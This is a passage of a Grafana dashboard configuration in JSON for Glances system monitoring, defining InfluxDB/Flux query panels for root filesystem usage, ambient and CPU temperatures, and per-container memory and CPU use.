\"bottom\"\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Used\",\n\t\t\t\t\t\"column\": \"\\\"/.used\\\"\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"fs\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"fs\\\" and\\n    r._field == \\\"used\\\" and\\n    r.mnt_point == \\\"/\\\" and \\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"used\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"used\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"fs\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"mnt_point\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Max\",\n\t\t\t\t\t\"column\": \"\\\"/.size\\\"\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"fs\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"fs\\\" and\\n    r._field == \\\"size\\\" and\\n    r.mnt_point == \\\"/\\\" and \\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"size\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"size\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"fs\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"mnt_point\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"timeFrom\": null,\n\t\t\t\"timeShift\": null,\n\t\t\t\"title\": \"/ Size\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"cacheTimeout\": null,\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"thresholds\"\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"options\": {\n\t\t\t\t\t\t\t\t\"match\": \"null\",\n\t\t\t\t\t\t\t\t\"result\": {\n\t\t\t\t\t\t\t\t\t\"text\": \"N/A\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\"type\": \"special\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(71, 212, 59, 0.4)\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(245, 150, 40, 0.73)\",\n\t\t\t\t\t\t\t\t\"value\": 70\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"rgba(225, 40, 40, 0.59)\",\n\t\t\t\t\t\t\t\t\"value\": 90\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"percent\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 2,\n\t\t\t\t\"x\": 22,\n\t\t\t\t\"y\": 21\n\t\t\t},\n\t\t\t\"id\": 16,\n\t\t\t\"interval\": null,\n\t\t\t\"links\": [],\n\t\t\t\"maxDataPoints\": 100,\n\t\t\t\"options\": {\n\t\t\t\t\"colorMode\": \"background\",\n\t\t\t\t\"graphMode\": \"area\",\n\t\t\t\t\"justifyMode\": \"auto\",\n\t\t\t\t\"orientation\": \"horizontal\",\n\t\t\t\t\"reduceOptions\": {\n\t\t\t\t\t\"calcs\": [\"mean\"],\n\t\t\t\t\t\"fields\": \"\",\n\t\t\t\t\t\"values\": false\n\t\t\t\t},\n\t\t\t\t\"text\": {},\n\t\t\t\t\"textMode\": \"auto\"\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"column\": \"\\\"/.percent\\\"\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"fs\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"fs\\\" and\\n    r._field == \\\"percent\\\" and\\n    r.mnt_point == \\\"/\\\" and \\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> last()\\n\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"percent\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"fs\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"mnt_point\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"/ used\",\n\t\t\t\"type\": \"stat\"\n\t\t},\n\t\t{\n\t\t\t\"collapsed\": false,\n\t\t\t\"datasource\": null,\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 1,\n\t\t\t\t\"w\": 24,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 28\n\t\t\t},\n\t\t\t\"id\": 33,\n\t\t\t\"panels\": [],\n\t\t\t\"title\": \"Sensors $host\",\n\t\t\t\"type\": \"row\"\n\t\t},\n\t\t{\n\t\t\t\"cards\": {\n\t\t\t\t\"cardPadding\": null,\n\t\t\t\t\"cardRound\": null\n\t\t\t},\n\t\t\t\"color\": {\n\t\t\t\t\"cardColor\": \"rgb(255, 0, 0)\",\n\t\t\t\t\"colorScale\": \"sqrt\",\n\t\t\t\t\"colorScheme\": \"interpolateReds\",\n\t\t\t\t\"exponent\": 1,\n\t\t\t\t\"min\": null,\n\t\t\t\t\"mode\": \"opacity\"\n\t\t\t},\n\t\t\t\"dataFormat\": \"timeseries\",\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 29\n\t\t\t},\n\t\t\t\"heatmap\": {},\n\t\t\t\"hideZeroBuckets\": false,\n\t\t\t\"highlightCards\": true,\n\t\t\t\"id\": 21,\n\t\t\t\"legend\": {\n\t\t\t\t\"show\": false\n\t\t\t},\n\t\t\t\"links\": [],\n\t\t\t\"reverseYBuckets\": false,\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"AmbientTemperature\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"null\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"sensors\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"sensors\\\" and\\n    r._field == \\\"value\\\" and\\n    r.label == \\\"Ambient\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"Ambient\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"value\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"label\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"Ambient\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"Ambient temperature\",\n\t\t\t\"tooltip\": {\n\t\t\t\t\"show\": true,\n\t\t\t\t\"showHistogram\": false\n\t\t\t},\n\t\t\t\"type\": \"heatmap\",\n\t\t\t\"xAxis\": {\n\t\t\t\t\"show\": true\n\t\t\t},\n\t\t\t\"xBucketNumber\": null,\n\t\t\t\"xBucketSize\": null,\n\t\t\t\"yAxis\": {\n\t\t\t\t\"decimals\": null,\n\t\t\t\t\"format\": \"celsius\",\n\t\t\t\t\"logBase\": 1,\n\t\t\t\t\"max\": null,\n\t\t\t\t\"min\": \"0\",\n\t\t\t\t\"show\": true,\n\t\t\t\t\"splitFactor\": null\n\t\t\t},\n\t\t\t\"yBucketBound\": \"auto\",\n\t\t\t\"yBucketNumber\": null,\n\t\t\t\"yBucketSize\": null\n\t\t},\n\t\t{\n\t\t\t\"cards\": {\n\t\t\t\t\"cardPadding\": null,\n\t\t\t\t\"cardRound\": null\n\t\t\t},\n\t\t\t\"color\": {\n\t\t\t\t\"cardColor\": \"rgb(255, 0, 0)\",\n\t\t\t\t\"colorScale\": \"sqrt\",\n\t\t\t\t\"colorScheme\": \"interpolateOranges\",\n\t\t\t\t\"exponent\": 1,\n\t\t\t\t\"mode\": \"opacity\"\n\t\t\t},\n\t\t\t\"dataFormat\": \"timeseries\",\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 12,\n\t\t\t\t\"y\": 29\n\t\t\t},\n\t\t\t\"heatmap\": {},\n\t\t\t\"hideZeroBuckets\": false,\n\t\t\t\"highlightCards\": true,\n\t\t\t\"id\": 23,\n\t\t\t\"legend\": {\n\t\t\t\t\"show\": false\n\t\t\t},\n\t\t\t\"links\": [],\n\t\t\t\"reverseYBuckets\": false,\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"CpuTemperature\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"null\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"sensors\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"sensors\\\" and\\n    r._field == \\\"value\\\" and\\n    r.label == \\\"CPU\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"Ambient\\\")\\n  \\n  \",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"value\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"label\",\n\t\t\t\t\t\t\t\"operator\": \"=\",\n\t\t\t\t\t\t\t\"value\": \"CPU\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"CPU temperature\",\n\t\t\t\"tooltip\": {\n\t\t\t\t\"show\": true,\n\t\t\t\t\"showHistogram\": false\n\t\t\t},\n\t\t\t\"type\": \"heatmap\",\n\t\t\t\"xAxis\": {\n\t\t\t\t\"show\": true\n\t\t\t},\n\t\t\t\"xBucketNumber\": null,\n\t\t\t\"xBucketSize\": null,\n\t\t\t\"yAxis\": {\n\t\t\t\t\"decimals\": null,\n\t\t\t\t\"format\": \"celsius\",\n\t\t\t\t\"logBase\": 1,\n\t\t\t\t\"max\": null,\n\t\t\t\t\"min\": \"0\",\n\t\t\t\t\"show\": true,\n\t\t\t\t\"splitFactor\": null\n\t\t\t},\n\t\t\t\"yBucketBound\": \"auto\",\n\t\t\t\"yBucketNumber\": null,\n\t\t\t\"yBucketSize\": null\n\t\t},\n\t\t{\n\t\t\t\"collapsed\": false,\n\t\t\t\"datasource\": null,\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 1,\n\t\t\t\t\"w\": 24,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 35\n\t\t\t},\n\t\t\t\"id\": 37,\n\t\t\t\"panels\": [],\n\t\t\t\"title\": \"Containers hosted on $host\",\n\t\t\t\"type\": \"row\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 2,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": true,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"min\": 0,\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"short\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"cpu_percent\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#cca300\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"unit\",\n\t\t\t\t\t\t\t\t\"value\": \"percent\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"memory_usage\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#2f575e\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"unit\",\n\t\t\t\t\t\t\t\t\"value\": \"decbytes\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 36\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 8,\n\t\t\t\t\"w\": 24,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 36\n\t\t\t},\n\t\t\t\"id\": 25,\n\t\t\t\"links\": [],\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\"\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"repeat\": \"container\",\n\t\t\t\"repeatDirection\": \"v\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"MEM\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"hide\": false,\n\t\t\t\t\t\"measurement\": \"containers\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"containers\\\" and\\n    r._field == \\\"memory_usage\\\" and\\n    r.name == \\\"${container}\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"MEM\\\")\\n  \\n  \",\n\t\t\t\t\t\"rawQuery\": false,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"memory_usage\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"name\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$container$/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"CPU%\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"hide\": false,\n\t\t\t\t\t\"measurement\": \"containers\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"containers\\\" and\\n    r._field == \\\"cpu_percent\\\" and\\n    r.name == \\\"${container}\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"CPU%\\\")\\n  \\n  \",\n\t\t\t\t\t\"rawQuery\": false,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"cpu_percent\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"name\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$container$/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"timeFrom\": null,\n\t\t\t\"timeShift\": null,\n\t\t\t\"title\": \"$container 